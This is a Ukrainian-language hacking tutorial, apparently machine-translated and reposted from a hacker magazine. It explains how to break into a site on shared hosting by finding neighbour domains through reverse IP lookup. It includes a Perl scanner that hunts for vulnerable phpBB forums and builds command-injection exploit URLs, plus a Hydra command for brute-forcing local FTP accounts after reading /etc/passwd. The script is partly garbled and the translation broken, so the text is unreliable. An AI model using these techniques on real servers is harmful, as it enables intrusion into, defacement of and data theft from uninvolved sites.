Спосіб злому web-сайтів: Reverse IP Lookup

Уяви, що хакеру потрібно задефейсить сайт, вкрасти якусь базу даних або просто отримати ісходник якоїсь лежить на сервері web-програми. Діяти, швидше за все, він буде стандартно-горезвісної схемою: спочатку перевірить скрипти на наявність программерских помилок, потім спробує знайти бажный демон на серваці й і проникнути в систему через нього. Потім він спробує протроянить жертву. Але що робити, якщо всі старання не увінчалися успіхом? Хакер-профі вдасться до використання принципово нової технології злому Reverse IP Lookup, про яку до сьогоднішнього дня ніде нічого сказано не було. З її допомогою можна легко отримати шелл-доступ до цільового компу. Про неї я і розповім в цій статті.

Приступимо

Якщо зломщикові вдасться отримати шелл-доступ хоча б з мінімальними правами, шанси на злом різко збільшаться. Поміркуй сам: маючи шелл, хаксор не тільки зможе подорожувати по файловій системі сервера, яка, можливо, містить адмінських бекапи, файли з хэшами паролів, суідні програми та іншу інформацію, що представляє інтерес для зломщика, але і отримає можливість запускати відповідні бажному софту експлойти, рутающие сервер за допомогою локальної уразливості. І це ще не все. Основна сіль полягає в тому, що на сервер можна встановити консольний брутфорсер Hydra, можливості якого я описував у відповідній статті січневого випуску. Якщо нацькувати цю софтину на потрібний локальний SSH, FTP, MySQL-аккаунт, результати брута перевершать усі сподівання швидкість перебору паролів буде дуже високою, внаслідок чого пас підбереться за відносно короткий час. Тому первісною метою хакера при зломі будь-якого сервера є отримання доступу до командного інтерпретатору операційної системи комп’ютера-жертви.

Ламаємо невзламываемое

Отже, завдання зломщика на першому етапі зводиться до отримання шелл-доступу до серваку, на якому крутиться ломаемый сайт. Що ж робити, якщо атакується ресурс містить сценарії, в яких геть відсутні баги, а всі демони, запущені на сервері, пропатчены? На перший погляд, ситуація безвихідна сайт зламати неможливо. Але «неможливо» — це всього лише гучне слово, за яким ховаються слабаки і невдахи. Вихід в цій ситуації наступний: необхідно знайти і поламати інший уразливий сайт, розташований на тому ж сервері, де знаходиться і сайт-жертва, щоб отримати шелл-доступ. Де ж намутити список всіх сайтів, які розташовані на хостингу? Існує два способи. Якщо у хостера є каталог клієнтських сайтів, то можна знайти через нього уразливий ресурс. Але це занадто нудний, дурний і практичний метод у порівнянні з другим.

Ідеально було б мати величезну таблицю, що зв’язує доменні імена і IP-адреси в масштабі всієї Мережі. Однак в силу абсолютно іншої, більш складної і розподіленої структури DNS, це навряд чи можливо. Принаймні, не володіючи величезними ресурсами, створити таку таблицю непросто (тут під таблицею я, звичайно, не маю на увазі реальну таблицю в БД — конкретну реалізацію ми не обговорюємо). Однак нічого і не треба створювати: проблема давно вже вирішена. Нещодавно на сайті www.domainsdb.net відкрився сервіс, що дозволяє легко і швидко отримати список всіх віртуальних доменів, які хостятся на одному сервері з зазначеним в пошуку сайтом.

DomainsDB.net

DomainsDB.net це просто диво-знахідка для хакера! Зареєструвавшись на сервісі, хакер зможе отримати список сайтів, хостящіхся на довільному зазначеному їм сервері.

Уяви, що кібер-мерзотникові потрібно поламати який-небудь простий сайт, наприклад www.zhopa.net. І ось що він зробить для цього. Спочатку мережевий падонак зайде на www.domainsdb.net і зареєструється. Після цього він перейде на головну сторінку сервісу, введе в полі Lookup доменне ім’я zhopa.net і натисне на кнопку Enter. З’явиться сторінка, що містить фразу «There are 748 domains on this IP, click here to get them all». Тепер йому потрібно клікнути на посилання «Click here», і перед ним з’явиться список доменів, яким призначено IP-адресу 64.237.57.92, тобто той IP, на який посилається сам zhopa.net. Поміркуй сам: всі домени з отриманого списку посилаються на один IP-адресу, значить, сайти, що належать цим доменів, які знаходяться на одному сервері з сайтом www.zhopa.net. Тому щоб отримати шелл-доступ до сервера, на якому хоститься www.zhopa.net, хакеру потрібно поламати хоча б один сайт з списку, який згенерувати сервіс www.domainsdb.net, а це вже дуже легко.

Вибираємо баг

Кілька місяців тому був знайдений баг в движку відомого форуму phpBB копач-ковырятель, виявив уразливість, не полінувався вивчити купу php-скриптів на предмет некомпетентного використання функції system(). Уразливими виявилися всі версії до 2.0.10 включно — будь скрипткидис запросто може мати шелл-доступ до сервера, якщо на сайті встановлений дірявий phpBB. Якщо пам’ятаєш, про цій дірі в січневому номері писали наші сестри милосердя. Форум користується шаленою популярністю — за приблизними спостереженнями він стоїть на кожному сотому сайті в Мережі. Якщо сервіс www.domainsdb.net знайшов сайтів сто на цільовому сервері, то ймовірність того, що на хостингу знайдеться яка-небудь веб-пага з бажным phpBB, надзвичайно висока.

Повернемося до первісної мети зломщика — до сайту www.zhopa.net. Кібер-падонок може вручну дослідити сайти зі списку на наявність дірявого форуму phpBB і знайти такої. Але це може забрати багато часу і сил, яких сайт www.zhopa.net навряд чи варто.

Пишемо крякер інету

Навіщо робити монотонну, нудну роботу, яку комп’ютер може зробити за тебе? Безумовно, в даній ситуації хакеру набагато простіше написати програмку на перлі, яка сама буде тусити по сайтах з згенерованого сервісом www.domainsdb.net списку і шукати форум phpBB. Тільки уяви! Зломщик всього один раз витратить час на її написання, а користуватися зможе в будь-який час скільки завгодно разів! Зараз я спробую реалізувати його задум.

Сорцы скрипта

Код
use LWP::UserAgent;
$source=«in.txt»; $result=«result.htm»;
open (FILE, $source);
while ($str=)
{ if($str=~/[whois]/igs)
{ @str=split (” “, $str);
$site=$str[1];
$url=«www.$site/forum»;
find_bug($url,$result);
$url=«www.$site/phpbb»;
find_bug($url,$result);
$url=«www.$site/phpBB»;
find_bug($url,$result);
$url=«forum.$site»;
find_bug($url,$result);
$i++; print “$i: $siten”;
}
}
sub find_bug
{ $url=shift;
$result=shift;
open (RES, “>>$result”);
$browser = LWP::UserAgent->new;
$res=$browser->get($url);
if($res->content =~/viewforum.php/igs)
{ $pws=”$url/viewtopic.php?t=7&highlight=%2527.$poster=%60$cm d%60.%2527&cmd=uname%20-a”;
print RES “$exploitn
$webpage”;
}
close (RES);
}

Ну ось і все, самописний крякер інету створений і готовий до роботи! Перш ніж його запустити, потрібно зберегти текст web-сторінки зі списком доменів з сервісу www.domainsdb.net у файлі in.txt. Після того, як програмка закінчить роботу, у файлі result.htm не тільки з’явиться список знайдених phpBB форумів, але і посилання-експлойти, що дають хакеру доступ до web-шеллу на сайті з бажным phpBB.

Локальний злом

Якщо удача посміхнеться хакеру, бажаний уразливий форум знайдеться і, отже, комп’ютерний негідник отримає можливість виконувати через нього команди операційної системи. Але що він буде робити далі? Адже хакер не зможе ні змінювати, ні навіть читати файли, що відносяться до сайту www.zhopa.net, оскільки шелл отриманий через бажную хоум-пагу стороннього юзера. Для цього йому доведеться поламати аккаунт користувача, якому належить сайт zhopa.net. Про методи локального злому можна написати не одну статтю, але зараз я розповім лише про одну технології про локальному брутфорсе. Для її реалізації падонок спочатку вивудить з файлу /etc/passwd логін цільового користувача (у нашому випадку логін власника жопа.немає), потім встановить на сервер багатофункціональний брутфорсер Hydra і почне з його допомогою підбір пароля до FTP, SSH, MySQL-сервісу, яким володіє атакується юзер. Про те, як встановлювати гідру, я вже оповідав кілька номерів тому зараз розповім тільки про те, як можна юзати її в даному випадку.

Отже, зломщикові доведеться приготувати файл з потенційними паролями, які будуть використовуватися для брута. Він може або завантажити вже готову добірку паролів з NSD.ru (http://nsd.ru/soft.php?group=hacksoft&razdel=passwords), або скласти свій персональний пас-лист. Припустимо, наш зломщик зберіг паролі у файлі pass.txt. Тепер йому потрібно нацькувати гідру на акаунти zhopa.net запустивши перебір ось так:

hydra -l логин_от_жопа_нет -P pass.txt t 255 127.0.0.1 ftp

Після цього почнеться брутфорс-атака FTP-сервісу, що використовує 255 потоків. Оскільки взламываемый сервіс є локальним, швидкість перебору буде максимально високою і пароль буде дуже скоро отримано. Якщо, звичайно, перебір не запалить адміністратор сервера .

Підсумуємо

Що після всього вищеописаного можна сказати? Всі сайти, розташовані на shared-хостингах, на жаль, вразливі. Хакеру досить запустити наш крякер, і він у лічені хвилини отримає шелл-доступ до сервера. А security-умілець в момент підніме свої права до рутових, після чого зможе зробити з системою все що завгодно.

Думку розробника сервісу

Служба DomainsDB.net містить багато всілякої та постійно оновлюється і поповнюється статистики, зробленої на основі інформації про 50 мільйонів доменів.

Сервіс буде корисний веб-майстрам, інтернет-маркетологам, сек’юріті-аналітикам та іншим IT-фахівців.

Як створити таку базу?

Справді, цікаво, як же працює цей сервіс? Як я вже говорив у статті, ідеальним було б мати величезну таку табличку з полями «IP-адреса» і «Домен». Звідти запитом начебто select * from addr where ip=210.10.40.61 можна було б отримати всі домени, хостящиеся на вказаному сервері. Однак, на жаль, таке наївне рішення навряд чи здійсненне. Як же бути?

Розумно припустити, що сама служба DNS надає рішення цієї задачі, проте це не так. Звичайно, в DNS є таке поняття, як файл зворотного перегляду, який встановлює однозначну відповідність між IP-адресами та іменами в зоні, однак це не може вирішити проблему. Єдиний шлях тут це дійсно створити величезну базу даних з усіма (ну майже з усіма) доменними іменами та IP-адресами. На практиці все виглядає не так вже й страшно. Давай прикинемо, скільки буде важити ось така база. За найщедрішим оцінками, в інеті 70 мільйонів доменів другого рівня. Нехай на кожну запис буде відводитися по 300 байт, в цьому випадку обсяг бази буде всього-навсього 20 гігабайт. Цілком земні цифри, погодься. Звичайно, якщо вже збирати таку статистику, то необхідно зберігати також інформацію про динаміку, володіти інформацією, як змінюється картина в часі. Але все одно створити таку базу цілком реально, для цього не потрібно мати величезний обчислювальний кластер, і це простіше, ніж могло здатися на перший погляд. Правда, звичайно, буде потрібно велика кількість інтернет-трафіку .

P. s. стаття далеко не свіжа, але матеріал імхо потрібний…

Дякую www.xaker.name/

Від себе :
Сервіси не завжди показывют детальну інфу.
Використовуйте різні сервіси.
www.whs.net.ru
DomainsDB.net